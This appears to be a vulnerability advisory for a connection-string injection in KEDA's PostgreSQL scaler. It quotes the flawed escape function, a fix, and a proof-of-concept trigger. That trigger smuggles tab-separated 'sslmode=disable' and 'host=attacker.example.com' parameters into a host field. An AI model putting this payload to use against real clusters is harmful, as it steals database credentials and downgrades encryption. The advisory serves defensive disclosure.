CVE-2026-53572
Published:July 08, 2026
Updated:July 08, 2026
Summary "pkg/scalers/postgresql_scaler.go" builds libpq-style connection strings by concatenating "key=value" pairs separated by spaces. Each tenant-controllable field ("host", "port", "userName", "dbName", "sslmode") is passed through "escapePostgreConnectionParameter": func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\'") return fmt.Sprintf("'%s'", str) } The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like "mydb\tsslmode=disable\thost=attacker.example.com" splits into additional "key=value" tokens when parsed by pgx, injecting attacker-controlled connection parameters. Vulnerable code "pkg/scalers/postgresql_scaler.go", lines 155–164 and 250–257. Impact Tenants with the ability to create a "TriggerAuthentication" or "ScaledObject" that populates any of "host", "port", "userName", "dbName", "sslmode" can: - Force "sslmode=disable" on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - Redirect the connection to an attacker-controlled host ("host=...") to steal the credentials the operator supplies via the "password=" keyword. - Append arbitrary libpq runtime parameters ("options=", "application_name=", "target_session_attrs=") to pivot behavior. Note: the password parameter is appended last in "buildConnArray", which limits but does not eliminate credential exfiltration — injected "host=" still redirects the subsequent "password=" keyword's target. Proof of concept triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" After "escapePostgreConnectionParameter" (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include "host=attacker.example.com" and "sslmode=disable". Suggested fix - Escape / reject any ASCII whitespace ("\t", "\n", "\r", "\f", "\v", space) and backslash. - Prefer the URI form ("postgres://user:pass@host:port/db?sslmode=require") with proper URL-encoding. - Validate each field against an allow-list pattern before use. Resources - "pkg/scalers/postgresql_scaler.go" - libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING
Affected Packages
github.com/kedacore/keda/v2 (GO):
Affected version(s) >=v2.0.0 <v2.20.0Fix Suggestion:
Update to version v2.20.0Related Resources (2)
Do you need more information?
Contact UsCVSS v4
Base Score:
6
Attack Vector
NETWORK
Attack Complexity
HIGH
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
LOW
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
5.9
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
HIGH
Integrity
LOW
Availability
NONE